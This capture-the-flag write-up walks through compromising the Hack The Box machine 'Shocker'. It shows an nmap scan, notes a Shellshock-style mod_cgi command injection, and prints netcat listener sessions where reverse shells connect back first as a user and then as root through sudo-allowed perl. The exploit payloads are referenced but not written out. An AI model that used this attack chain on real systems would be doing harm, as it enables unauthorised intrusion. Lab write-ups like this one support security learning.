The IP of the box is 10.10.10.56, the other thing that we know is, it’s a Linux box.
Enumeration
Doing a port scan.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
nmap -Pn -sCV -p80-2222 10.10.10.56
Nmap scan report for 10.10.10.56 Host is up (0.19s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done at Mon Feb 8 05:11:07 2021 -- 1 IP address (1 host up) scanned in 13.29 seconds
We are able to see an Apache server running at port 80 and OpenSSH at port 2222
Doing a serach on the know exploits of the Apache version landed me onto the exploit db page which explains about Apache mod_cgi, which allows Remote Command Injection.
┌──(kali㉿kali)-[~] └─$ sudo nc -nvlp 800 1 ⨯ [sudo] password for kali: listening on [any] 800 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.56] 41000 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$ whoami whoami shelly shelly@Shocker:/usr/lib/cgi-bin$ cd ~/ cd ~/ shelly@Shocker:/home/shelly$ ls ls user.txt shelly@Shocker:/home/shelly$ cat user.txt
We owned user, onto Privilage escalation.
Let’s see if the user has any binary which has sudoer permission.
1 2 3 4 5 6 7 8 9 10
shelly@Shocker:/home/shelly$ sudo -l sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl
It’s clear that perl has sudo access. Let’s pop a reverse shell using perl and get the root flag.
There is a cool repo named PaylodAllThings, where one can find almost all kinds off payloads.
┌──(kali㉿kali)-[~] └─$ sudo nc -nvlp 4242 [sudo] password for kali: listening on [any] 4242 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.56] 53964 bash: no job control in this shell root@Shocker:/home/shelly# whoami whoami root root@Shocker:/home/shelly# cd ~/ cd ~/ root@Shocker:~# ls ls root.txt root@Shocker:~# cat root.txt cat root.txt